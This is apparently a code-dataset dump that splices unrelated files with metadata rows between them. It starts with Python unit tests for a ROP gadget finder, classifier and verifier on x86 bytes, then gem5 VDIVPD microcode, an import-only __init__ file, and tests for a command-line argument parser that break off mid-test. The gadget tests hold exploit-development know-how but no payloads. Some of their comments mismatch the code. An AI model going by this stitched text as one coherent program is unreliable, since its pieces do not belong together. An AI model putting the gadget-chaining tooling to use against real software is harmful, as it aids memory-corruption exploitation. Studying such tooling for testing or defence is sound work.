g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32)
g_candidates = g_finder.find(0x00000000, 0x00000002)
g_classified = self._g_classifier.classify(g_candidates[0])
# self.print_candidates(g_candidates)
# self.print_classified(g_classified)
verified = self._g_verifier.verify(g_classified[1])
self.assertEquals(len(g_candidates), 1)
self.assertEquals(len(g_classified), 2)
self.assertTrue(verified)
self.assertEquals(g_classified[1].type, GadgetType.StoreMemory)
self.assertEquals(g_classified[1].sources, [ReilRegisterOperand("eax", 32)])
self.assertEquals(g_classified[1].destination, [ReilRegisterOperand("esp", 32), ReilImmediateOperand(0xfffffffc, 32)])
self.assertEquals(len(g_classified[1].modified_registers), 1)
self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[1].modified_registers)
def test_arithmetic_load_memory_two_accesses_1(self):
# testing : dst_reg <- dst_reg + m[dst_reg + offset]
binary = "\x8b\x09" # 0x00 : (2) mov ecx, dword ptr [ecx]
binary += "\x03\x03" # 0x02 : (2) add eax, dword ptr [ebx]
binary += "\xc3" # 0x04 : (1) ret
g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32)
g_candidates = g_finder.find(0x00000000, 0x00000004)
g_classified = self._g_classifier.classify(g_candidates[0])
# self.print_candidates(g_candidates)
# self.print_classified(g_classified)
verified = self._g_verifier.verify(g_classified[1])
self.assertEquals(len(g_candidates), 1)
self.assertEquals(len(g_classified), 2)
self.assertTrue(verified)
self.assertEquals(g_classified[1].type, GadgetType.ArithmeticLoad)
self.assertEquals(g_classified[1].sources, [ReilRegisterOperand("eax", 32), ReilRegisterOperand("ebx", 32), ReilImmediateOperand(0x0, 32)])
self.assertEquals(g_classified[1].destination, [ReilRegisterOperand("eax", 32)])
self.assertEquals(len(g_classified[1].modified_registers), 3)
self.assertTrue(ReilRegisterOperand("ecx", 32) in g_classified[1].modified_registers)
self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[1].modified_registers)
def test_arithmetic_load_add_1(self):
# testing : dst_reg <- src1_reg + src2_reg
binary = "\x23\x00" # 0x02 : (2) and eax, dword ptr [eax]
binary += "\x00\xc9" # 0x02 : (2) add cl, cl
binary += "\xc3" # 0x05 : (1) ret
g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32)
g_candidates = g_finder.find(0x00000000, 0x00000004)
g_classified = self._g_classifier.classify(g_candidates[1])
# self.print_candidates(g_candidates)
# self.print_classified(g_classified)
verified = self._g_verifier.verify(g_classified[0])
self.assertEquals(len(g_candidates), 2)
self.assertEquals(len(g_classified), 2)
self.assertTrue(verified)
self.assertEquals(g_classified[0].type, GadgetType.Arithmetic)
self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("cl", 8), ReilRegisterOperand("cl", 8)])
self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("cl", 8)])
self.assertEquals(g_classified[0].operation, "+")
self.assertEquals(len(g_classified[0].modified_registers), 4)
self.assertTrue(ReilRegisterOperand("eax", 32) in g_classified[0].modified_registers)
self.assertTrue(ReilRegisterOperand("ecx", 32) in g_classified[0].modified_registers)
self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[1].modified_registers)
def test_arithmetic_load_and_1(self):
# testing : dst_reg <- src1_reg + src2_reg
binary = "\x23\x00" # 0x02 : (2) and eax, dword ptr [eax]
binary += "\x00\xc9" # 0x02 : (2) add cl, cl
binary += "\xc3" # 0x05 : (1) ret
g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32)
g_candidates = g_finder.find(0x00000000, 0x00000004)
g_classified = self._g_classifier.classify(g_candidates[1])
# self.print_candidates(g_candidates)
# self.print_classified(g_classified)
verified = self._g_verifier.verify(g_classified[1])
self.assertEquals(len(g_candidates), 2)
self.assertEquals(len(g_classified), 2)
self.assertTrue(verified)
self.assertEquals(g_classified[1].type, GadgetType.ArithmeticLoad)
self.assertEquals(g_classified[1].sources, [ReilRegisterOperand("eax", 32), ReilRegisterOperand("eax", 32), ReilImmediateOperand(0x0, 32)])
self.assertEquals(g_classified[1].destination, [ReilRegisterOperand("eax", 32)])
self.assertEquals(g_classified[1].operation, "&")
self.assertEquals(len(g_classified[1].modified_registers), 3)
self.assertTrue(ReilRegisterOperand("ecx", 32) in g_classified[1].modified_registers)
self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[1].modified_registers)
def test_arithmetic_add_1(self):
# testing : dst_reg <- src1_reg + src2_reg
binary = "\x00\xc3" # 0x00 : (2) add bl, al
binary += "\x50" # 0x02 : (1) push eax
binary += "\xc3" # 0x03 : (1) ret
g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32)
g_candidates = g_finder.find(0x00000000, 0x00000003)
g_classified = self._g_classifier.classify(g_candidates[0])
# self.print_candidates(g_candidates)
# self.print_classified(g_classified)
verified = self._g_verifier.verify(g_classified[0])
self.assertEquals(len(g_candidates), 1)
self.assertEquals(len(g_classified), 4)
self.assertTrue(verified)
self.assertEquals(g_classified[0].type, GadgetType.Arithmetic)
self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("al", 8), ReilRegisterOperand("bl", 8)])
self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("bl", 8)])
self.assertEquals(g_classified[0].operation, "+")
self.assertEquals(len(g_classified[0].modified_registers), 2)
self.assertTrue(ReilRegisterOperand("ebx", 32) in g_classified[0].modified_registers)
def test_load_memory_1(self):
# testing : dst_reg <- mem[offset]
binary = "\x8b\x45\x08" # 0x00 : (3) mov eax, dword ptr [ebp+0x8]
binary += "\x5d" # 0x03 : (1) pop ebp
binary += "\xc3" # 0x04 : (1) ret
g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32)
g_candidates = g_finder.find(0x00000000, 0x00000004)
g_classified = self._g_classifier.classify(g_candidates[0])
# self.print_candidates(g_candidates)
# self.print_classified(g_classified)
verified = self._g_verifier.verify(g_classified[1])
self.assertEquals(len(g_candidates), 1)
self.assertEquals(len(g_classified), 2)
self.assertTrue(verified)
self.assertEquals(g_classified[1].type, GadgetType.LoadMemory)
self.assertEquals(g_classified[1].sources, [ReilRegisterOperand("ebp", 32), ReilImmediateOperand(0x8, 32)])
self.assertEquals(g_classified[1].destination, [ReilRegisterOperand("eax", 32)])
self.assertEquals(len(g_classified[1].modified_registers), 2)
self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[1].modified_registers)
self.assertTrue(ReilRegisterOperand("ebp", 32) in g_classified[1].modified_registers)
def test_load_memory_2(self):
# testing : dst_reg <- mem[offset]
binary = "\x08\xa3\xa0\x31\x05\x08" # 0x00 : (6) or [ebx+0x80531a0], ah
binary += "\xc9" # 0x06 : (1) leave
binary += "\xc3" # 0x07 : (1) ret
g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32)
g_candidates = g_finder.find(0x00000000, 0x00000007)
g_classified = self._g_classifier.classify(g_candidates[1])
# self.print_candidates(g_candidates)
# self.print_classified(g_classified)
verified = self._g_verifier.verify(g_classified[0])
self.assertEquals(len(g_candidates), 4)
self.assertEquals(len(g_classified), 2)
self.assertTrue(verified)
self.assertEquals(g_classified[0].type, GadgetType.LoadMemory)
self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("ebp", 32), ReilImmediateOperand(0x0, 32)])
self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("ebp", 32)])
self.assertEquals(len(g_classified[0].modified_registers), 2)
self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers)
def test_arithmetic_store_add_1(self):
# testing : m[dst_reg] <- m[dst_reg] + src_reg
binary = "\x01\x18" # 0x00 : (2) add dword ptr [eax], ebx
binary += "\xc3" # 0x02 : (1) ret
g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32)
g_candidates = g_finder.find(0x00000000, 0x00000002)
g_classified = self._g_classifier.classify(g_candidates[0])
# self.print_candidates(g_candidates)
# self.print_classified(g_classified)
verified = self._g_verifier.verify(g_classified[0])
self.assertEquals(len(g_candidates), 1)
self.assertEquals(len(g_classified), 1)
self.assertTrue(verified)
self.assertEquals(g_classified[0].type, GadgetType.ArithmeticStore)
self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("eax", 32), ReilImmediateOperand(0x0, 32), ReilRegisterOperand("ebx", 32)])
self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("eax", 32), ReilImmediateOperand(0x0, 32)])
self.assertEquals(g_classified[0].operation, "+")
self.assertEquals(len(g_classified[0].modified_registers), 2)
self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers)
def test_arithmetic_store_xor_1(self):
# testing : m[dst_reg] <- m[dst_reg] + src_reg
binary = "\x31\x05\x08\x8b\x00\x5d\xc3" # xor dword ptr [0x5d008b08], eax ; ret
g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32)
g_candidates = g_finder.find(0x00000000, 0x00000006)
g_classified = self._g_classifier.classify(g_candidates[2])
# self.print_candidates(g_candidates)
# self.print_classified(g_classified)
verified = self._g_verifier.verify(g_classified[0])
self.assertEquals(len(g_candidates), 3)
self.assertEquals(len(g_classified), 1)
self.assertTrue(verified)
self.assertEquals(g_classified[0].type, GadgetType.ArithmeticStore)
self.assertEquals(g_classified[0].sources, [ReilEmptyOperand(), ReilImmediateOperand(0x5d008b08, 32), ReilRegisterOperand("eax", 32)])
self.assertEquals(g_classified[0].destination, [ReilEmptyOperand(), ReilImmediateOperand(0x5d008b08, 32)])
self.assertEquals(g_classified[0].operation, "^")
self.assertEquals(len(g_classified[0].modified_registers), 2)
self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers)
def test_arithmetic_store_or_1(self):
# testing : m[dst_reg] <- m[dst_reg] OP src_reg
binary = "\x08\xa3\xa0\x31\x05\x08" # 0x00 : (6) or [ebx+0x80531a0], ah
binary += "\xc9" # 0x06 : (1) leave
binary += "\xc3" # 0x07 : (1) ret
g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32)
g_candidates = g_finder.find(0x00000000, 0x00000007)
g_classified = self._g_classifier.classify(g_candidates[1])
# self.print_candidates(g_candidates)
# self.print_classified(g_classified)
verified = self._g_verifier.verify(g_classified[1])
self.assertEquals(len(g_candidates), 4)
self.assertEquals(len(g_classified), 2)
self.assertTrue(verified)
self.assertEquals(g_classified[1].type, GadgetType.ArithmeticStore)
self.assertEquals(g_classified[1].sources, [ReilRegisterOperand("ebx", 32), ReilImmediateOperand(0x80531a0, 32), ReilRegisterOperand("ah", 8)])
self.assertEquals(g_classified[1].destination, [ReilRegisterOperand("ebx", 32), ReilImmediateOperand(0x80531a0, 32)])
self.assertEquals(len(g_classified[1].modified_registers), 3)
self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[1].modified_registers)
self.assertTrue(ReilRegisterOperand("ebp", 32) in g_classified[1].modified_registers)
def test_load_constant_1(self):
# testing : reg <- constant
binary = "\x00\x0f" # 0x00 : (2) add [edi],cl
binary += "\xb6\x55" # 0x02 : (2) mov dh,0x55
binary += "\xc3" # 0x04 : (1) ret
g_finder = GadgetFinder(X86Disassembler(ARCH_X86_MODE_32), binary, X86Translator(ARCH_X86_MODE_32), ARCH_X86, ARCH_X86_MODE_32)
g_candidates = g_finder.find(0x00000000, 0x00000004)
g_classified = self._g_classifier.classify(g_candidates[1])
# self.print_candidates(g_candidates)
# self.print_classified(g_classified)
verified = self._g_verifier.verify(g_classified[1])
self.assertEquals(len(g_candidates), 2)
self.assertEquals(len(g_classified), 2)
self.assertTrue(verified)
self.assertEquals(g_classified[0].type, GadgetType.LoadConstant)
self.assertEquals(g_classified[0].sources, [ReilImmediateOperand(0x55, 8)])
self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("dh", 8)])
self.assertEquals(len(g_classified[0].modified_registers), 3)
self.assertTrue(ReilRegisterOperand("edx", 32) in g_classified[0].modified_registers)
self.assertTrue(ReilRegisterOperand("esp", 32) in g_classified[0].modified_registers)
def print_candidates(self, candidates):
print "Candidates :"
for gadget in candidates:
print gadget
print "-" * 10
def print_classified(self, classified):
print "Classified :"
for gadget in classified:
print gadget
print gadget.type
print "-" * 10
class GadgetVerifierTests64(unittest.TestCase):
def setUp(self):
self._arch_info = X86ArchitectureInformation(ARCH_X86_MODE_64)
self._smt_solver = SmtSolver()
self._smt_translator = SmtTranslator(self._smt_solver, self._arch_info.address_size)
self._ir_emulator = ReilEmulator(self._arch_info)
self._smt_translator.set_arch_alias_mapper(self._arch_info.alias_mapper)
self._smt_translator.set_arch_registers_size(self._arch_info.registers_size)
self._code_analyzer = CodeAnalyzer(self._smt_solver, self._smt_translator, self._arch_info)
self._g_classifier = GadgetClassifier(self._ir_emulator, self._arch_info)
self._g_verifier = GadgetVerifier(self._code_analyzer, self._arch_info)
def test_store_memory_1(self):
# testing : m[dst_reg + offset] <- src_reg
# mov dword ptr [rax], esi ; ret
binary = "\x89\x30" # 0x00 : (2) mov [rax], esi
binary += "\xC3" # 0x02 : (1) ret
disassembler = X86Disassembler(ARCH_X86_MODE_64)
translator = X86Translator(ARCH_X86_MODE_64)
g_finder = GadgetFinder(disassembler, binary, translator, ARCH_X86, ARCH_X86_MODE_64)
g_candidates = g_finder.find(0x00000000, 0x00000002)
g_classified = self._g_classifier.classify(g_candidates[0])
self.assertEquals(len(g_candidates), 1)
self.assertEquals(len(g_classified), 1)
self.assertEquals(g_classified[0].type, GadgetType.StoreMemory)
self.assertEquals(g_classified[0].sources, [ReilRegisterOperand("esi", 32)])
self.assertEquals(g_classified[0].destination, [ReilRegisterOperand("rax", 64), ReilImmediateOperand(0x0, 64)])
def print_candidates(self, candidates):
print "Candidates :"
for gadget in candidates:
print gadget
print "-" * 10
def print_classified(self, classified):
print "Classified :"
for gadget in classified:
print gadget
print gadget.type
print "-" * 10
def main():
unittest.main()
if __name__ == '__main__':
main()
| 46.570423 | 151 | 0.676849 | 8,647 | 72,743 | 5.444432 | 0.038857 | 0.114024 | 0.070606 | 0.102086 | 0.944284 | 0.935426 | 0.927355 | 0.917669 | 0.908322 | 0.889524 | 0 | 0.07169 | 0.207278 | 72,743 | 1,561 | 152 | 46.600256 | 0.744715 | 0.210508 | 0 | 0.810606 | 0 | 0 | 0.027814 | 0.007366 | 0 | 0 | 0.020712 | 0.000641 | 0.496212 | 0 | null | null | 0 | 0.022727 | null | null | 0.034091 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 9 |
656f7ad239f19a049af6a1e7bfdfbd3f0b6b3c60 | 113 | py | Python | disco/sources/source_tree_1/__init__.py | daniel-thom/disco | 2de6869888c015ff70985bf6f6b1a0fcc15fc561 | [
"BSD-3-Clause"
] | 2 | 2022-03-11T20:04:34.000Z | 2022-03-14T22:25:29.000Z | disco/sources/source_tree_1/__init__.py | daniel-thom/disco | 2de6869888c015ff70985bf6f6b1a0fcc15fc561 | [
"BSD-3-Clause"
] | 4 | 2022-03-11T17:48:50.000Z | 2022-03-17T21:39:47.000Z | disco/sources/source_tree_1/__init__.py | daniel-thom/disco | 2de6869888c015ff70985bf6f6b1a0fcc15fc561 | [
"BSD-3-Clause"
] | null | null | null | from .source_tree_1_model import SourceTree1Model
from .source_tree_1_model_inputs import SourceTree1ModelInputs
| 37.666667 | 62 | 0.911504 | 15 | 113 | 6.4 | 0.6 | 0.208333 | 0.291667 | 0.3125 | 0.416667 | 0 | 0 | 0 | 0 | 0 | 0 | 0.038095 | 0.070796 | 113 | 2 | 63 | 56.5 | 0.87619 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 7 |
65abdb038c1b093f78c0ef736fe0d178089938a8 | 1,428 | py | Python | src/arch/x86/isa/insts/simd512/floating_point/arithmetic/vdivpd.py | jyhuang91/gem5-avx | f988da46080f8db49beb39e20af437219f3aa4cb | [
"BSD-3-Clause"
] | 2 | 2021-01-15T17:32:18.000Z | 2021-12-21T02:53:58.000Z | src/arch/x86/isa/insts/simd512/floating_point/arithmetic/vdivpd.py | jyhuang91/gem5-avx | f988da46080f8db49beb39e20af437219f3aa4cb | [
"BSD-3-Clause"
] | 3 | 2021-03-26T20:33:59.000Z | 2022-01-24T22:54:03.000Z | src/arch/x86/isa/insts/simd512/floating_point/arithmetic/vdivpd.py | jyhuang91/gem5-avx | f988da46080f8db49beb39e20af437219f3aa4cb | [
"BSD-3-Clause"
] | 3 | 2021-03-27T16:36:19.000Z | 2022-03-28T18:32:57.000Z |
microcode = '''
def macroop VDIVPD_XMM_XMM {
vdivf dest=xmm0, src1=xmm0v, src2=xmm0m, size=8, VL=16
vclear dest=xmm2, destVL=16
};
def macroop VDIVPD_XMM_M {
ldfp128 ufp1, seg, sib, "DISPLACEMENT + 0", dataSize=16
vdivf dest=xmm0, src1=xmm0v, src2=ufp1, size=8, VL=16
vclear dest=xmm2, destVL=16
};
def macroop VDIVPD_XMM_P {
rdip t7
ldfp128 ufp1, seg, riprel, "DISPLACEMENT + 0", dataSize=16
vdivf dest=xmm0, src1=xmm0v, src2=ufp1, size=8, VL=16
vclear dest=xmm2, destVL=16
};
def macroop VDIVPD_YMM_YMM {
vdivf dest=xmm0, src1=xmm0v, src2=xmm0m, size=8, VL=32
vclear dest=xmm4, destVL=32
};
def macroop VDIVPD_YMM_M {
ldfp256 ufp1, seg, sib, "DISPLACEMENT + 0", dataSize=32
vdivf dest=xmm0, src1=xmm0v, src2=ufp1, size=8, VL=32
vclear dest=xmm4, destVL=32
};
def macroop VDIVPD_YMM_P {
rdip t7
ldfp256 ufp1, seg, riprel, "DISPLACEMENT + 0", dataSize=32
vdivf dest=xmm0, src1=xmm0v, src2=ufp1, size=8, VL=32
vclear dest=xmm4, destVL=32
};
def macroop VDIVPD_ZMM_ZMM {
vdivf dest=xmm0, src1=xmm0v, src2=xmm0m, size=8, VL=64
};
def macroop VDIVPD_ZMM_M {
ldfp512 ufp1, seg, sib, "DISPLACEMENT + 0", dataSize=64
vdivf dest=xmm0, src1=xmm0v, src2=ufp1, size=8, VL=64
};
def macroop VDIVPD_ZMM_P {
rdip t7
ldfp512 ufp1, seg, riprel, "DISPLACEMENT + 0", dataSize=64
vdivf dest=xmm0, src1=xmm0v, src2=ufp1, size=8, VL=64
};
'''
| 25.963636 | 62 | 0.676471 | 229 | 1,428 | 4.139738 | 0.165939 | 0.094937 | 0.151899 | 0.161392 | 0.885021 | 0.885021 | 0.812236 | 0.812236 | 0.770042 | 0.770042 | 0 | 0.117698 | 0.196779 | 1,428 | 54 | 63 | 26.444444 | 0.708806 | 0 | 0 | 0.545455 | 0 | 0 | 0.986685 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
02c16df9acd039d0293dc668304b95bb25ec3123 | 185 | py | Python | dimka/core/__init__.py | madmis/dimka-binance | 8a9173ac923d2fb122afeb68f85e4aba07d08c5b | [
"MIT"
] | null | null | null | dimka/core/__init__.py | madmis/dimka-binance | 8a9173ac923d2fb122afeb68f85e4aba07d08c5b | [
"MIT"
] | null | null | null | dimka/core/__init__.py | madmis/dimka-binance | 8a9173ac923d2fb122afeb68f85e4aba07d08c5b | [
"MIT"
] | null | null | null | from dimka.core.utils import *
from dimka.core.app import *
from dimka.core.config import *
from dimka.core.models import *
from dimka.core.client import *
from dimka.core.dto import *
| 26.428571 | 31 | 0.772973 | 30 | 185 | 4.766667 | 0.333333 | 0.377622 | 0.545455 | 0.664336 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.12973 | 185 | 6 | 32 | 30.833333 | 0.888199 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
02e512a56d8801ff5cbd52a4a5ee8620e1acb11d | 14,641 | py | Python | saklib/test/sakcmd_test.py | ferwitt/sak | 677a90fc07b2a06a60171848acf2e06f5132d612 | [
"MIT"
] | 1 | 2020-03-15T17:01:43.000Z | 2020-03-15T17:01:43.000Z | saklib/test/sakcmd_test.py | ferwitt/sak | 677a90fc07b2a06a60171848acf2e06f5132d612 | [
"MIT"
] | 4 | 2020-07-11T13:23:55.000Z | 2021-03-17T01:49:28.000Z | saklib/test/sakcmd_test.py | ferwitt/sak | 677a90fc07b2a06a60171848acf2e06f5132d612 | [
"MIT"
] | null | null | null | import unittest
from typing import List, Optional, Tuple
from saklib.sakcmd import SakArg, SakCmd, SakCmdWrapper, sak_arg_parser
class SakCmdTest(unittest.TestCase):
def test_always_passes(self) -> None:
# GIVEN.
cmd = SakCmd("foo", helpmsg="Dummy command")
# WHEN.
ret = sak_arg_parser(cmd, ["-h"])
# THEN.
self.assertEqual(
ret["argparse"]["help"],
"usage: foo [-h]\n\nDummy command\n\noptional arguments:\n -h, --help show this help message and exit\n",
)
self.assertEqual(ret["ret"], None)
self.assertEqual(repr(ret["cmd"]), repr(SakCmdWrapper(cmd)))
class SakCmdWrapperTest(unittest.TestCase):
def test_wrap_cmd_no_subcmd(self) -> None:
# GIVEN.
cmd = SakCmd("foo", helpmsg="Dummy command")
wrap = SakCmdWrapper(cmd)
# WHEN.
ret = wrap.subcmds
# THEN.
self.assertEqual(ret, [])
def test_wrap_cmd_one_subcmd(self) -> None:
# GIVEN.
cmd = SakCmd("foo", helpmsg="Dummy command")
subcmd = SakCmd(name="bar", helpmsg="Dummy command 2")
cmd.subcmds.append(subcmd)
wrap = SakCmdWrapper(cmd)
# WHEN.
ret = wrap.subcmds
# THEN.
self.assertEqual(str(ret), str([SakCmdWrapper(subcmd)]))
def test_wrap_cmd_no_help_string(self) -> None:
# GIVEN.
cmd = SakCmd("foo")
wrap = SakCmdWrapper(cmd)
# WHEN.
ret = wrap.helpmsg
# THEN.
self.assertEqual(ret, "")
def test_wrap_cmd_help_string(self) -> None:
# GIVEN.
cmd = SakCmd("foo", helpmsg="Dummy command")
wrap = SakCmdWrapper(cmd)
# WHEN.
ret = wrap.helpmsg
# THEN.
self.assertEqual(ret, "Dummy command")
class SakCmdWrapperFunctionDocTest(unittest.TestCase):
def test_wrap_func_docstring(self) -> None:
# GIVEN.
def function_docstring(arg_int: int, arg_str: str, arg_list: List[str]) -> bool:
"""Brief description.
Long description, this is a long description.
:param arg_int: This is an int param.
:param arg_str: This is an string param.
:param arg_list: This is an list param.
:returns: This is an bool return.
"""
return False
# WHEN.
wrap = SakCmdWrapper(function_docstring)
# THEN.
self.assertEqual(wrap.name, "function_docstring")
self.assertEqual(wrap.helpmsg, "Brief description.")
self.assertEqual(
wrap.description,
"Brief description.\n\nLong description, this is a long description.",
)
self.assertEqual(wrap.callback, function_docstring)
self.assertEqual(wrap.subcmds, [])
self.assertEqual(len(wrap.args), 3)
self.assertEqual(wrap.args[0].name, "arg_int")
self.assertEqual(wrap.args[0].helpmsg, "This is an int param.")
self.assertEqual(wrap.args[0].short_name, None)
self.assertEqual(wrap.args[0].vargs["required"], True)
self.assertEqual(wrap.args[0].vargs["type"], int)
self.assertEqual(wrap.args[0].completercb, None)
self.assertEqual(wrap.args[1].name, "arg_str")
self.assertEqual(wrap.args[1].helpmsg, "This is an string param.")
self.assertEqual(wrap.args[1].short_name, None)
self.assertEqual(wrap.args[1].vargs["required"], True)
self.assertEqual(wrap.args[1].vargs["type"], str)
self.assertEqual(wrap.args[1].completercb, None)
self.assertEqual(wrap.args[2].name, "arg_list")
self.assertEqual(wrap.args[2].helpmsg, "This is an list param.")
self.assertEqual(wrap.args[2].short_name, None)
self.assertEqual(wrap.args[2].vargs["required"], True)
self.assertEqual(wrap.args[2].vargs["type"], str)
self.assertEqual(wrap.args[2].vargs["nargs"], "+")
self.assertEqual("action" in wrap.args[2].vargs, False)
self.assertEqual(wrap.args[2].completercb, None)
def test_wrap_func_docstring_optional_param(self) -> None:
# GIVEN.
def function_docstring(
arg_int: int, arg_str: Optional[str] = "Hello world"
) -> bool:
"""Brief description.
Long description, this is a long description.
:param arg_int: This is an int param.
:param arg_str: This is an optional string param.
:returns: This is an bool return.
"""
return False
# WHEN.
wrap = SakCmdWrapper(function_docstring)
# THEN.
self.assertEqual(wrap.name, "function_docstring")
self.assertEqual(wrap.helpmsg, "Brief description.")
self.assertEqual(
wrap.description,
"Brief description.\n\nLong description, this is a long description.",
)
self.assertEqual(wrap.callback, function_docstring)
self.assertEqual(wrap.subcmds, [])
self.assertEqual(len(wrap.args), 2)
self.assertEqual(wrap.args[0].name, "arg_int")
self.assertEqual(wrap.args[0].helpmsg, "This is an int param.")
self.assertEqual(wrap.args[0].short_name, None)
self.assertEqual(wrap.args[0].vargs["required"], True)
self.assertEqual(wrap.args[0].vargs["type"], int)
self.assertEqual(wrap.args[0].completercb, None)
self.assertEqual(wrap.args[1].name, "arg_str")
self.assertEqual(wrap.args[1].helpmsg, "This is an optional string param.")
self.assertEqual(wrap.args[1].short_name, None)
self.assertEqual(wrap.args[1].vargs["required"], False)
self.assertEqual(wrap.args[1].vargs["type"], str)
self.assertEqual(wrap.args[1].vargs["default"], "Hello world")
self.assertEqual(wrap.args[1].completercb, None)
class SakArgParser(unittest.TestCase):
def test_sak_arg_parse_func_docstring(self) -> None:
# GIVEN.
def func(
arg_int: int, arg_str: str, arg_list: List[str]
) -> Tuple[int, str, List[str]]:
"""Brief description.
Long description, this is a long description.
:param arg_int: This is an int param.
:param arg_str: This is an string param.
:param arg_list: This is an list param.
:returns: Tuple with the input argument.
"""
return (arg_int, arg_str, arg_list)
arglist = "--arg_int 1 --arg_str foo --arg_list hello world".split(" ")
# WHEN.
ret = sak_arg_parser(func, arglist)
# THEN.
self.assertEqual(ret["cmd"].callback, func)
self.assertEqual("help" not in ret["argparse"], True)
self.assertEqual("error" not in ret["argparse"], True)
self.assertEqual(ret["value"][0], 1)
self.assertEqual(ret["value"][1], "foo")
self.assertEqual(ret["value"][2][0], "hello")
self.assertEqual(ret["value"][2][1], "world")
def test_sak_arg_parse_func_docstring_and_decorator(self) -> None:
# GIVEN.
@SakArg("arg_int", short_name="i")
@SakArg("arg_str", short_name="s")
@SakArg("arg_list", short_name="l")
def func(
arg_int: int, arg_str: str, arg_list: List[str]
) -> Tuple[int, str, List[str]]:
"""Brief description.
Long description, this is a long description.
:param arg_int: This is an int param.
:param arg_str: This is an string param.
:param arg_list: This is an list param.
:returns: Tuple with the input argument.
"""
return (arg_int, arg_str, arg_list)
arglist = "--arg_int 1 --arg_str foo --arg_list hello world".split(" ")
# WHEN.
ret = sak_arg_parser(func, arglist)
# THEN.
self.assertEqual(ret["cmd"].callback, func)
self.assertEqual("help" not in ret["argparse"], True)
self.assertEqual("error" not in ret["argparse"], True)
self.assertEqual(ret["value"][0], 1)
self.assertEqual(ret["value"][1], "foo")
self.assertEqual(ret["value"][2][0], "hello")
self.assertEqual(ret["value"][2][1], "world")
def test_sak_arg_parse_func_docstring_and_decorator_and_default(self) -> None:
# GIVEN.
@SakArg("arg_int", short_name="i")
@SakArg("arg_str", short_name="s")
@SakArg("arg_list", short_name="l")
def func(
arg_int: int = 0, arg_str: str = "", arg_list: List[str] = []
) -> Tuple[int, str, List[str]]:
"""Brief description.
Long description, this is a long description.
:param arg_int: This is an int param.
:param arg_str: This is an string param.
:param arg_list: This is an list param.
:returns: Tuple with the input argument.
"""
return (arg_int, arg_str, arg_list)
arglist = "--arg_int 1 --arg_str foo --arg_list hello world".split(" ")
# WHEN.
ret = sak_arg_parser(func, arglist)
# THEN.
self.assertEqual(ret["cmd"].callback, func)
self.assertEqual("help" not in ret["argparse"], True)
self.assertEqual("error" not in ret["argparse"], True)
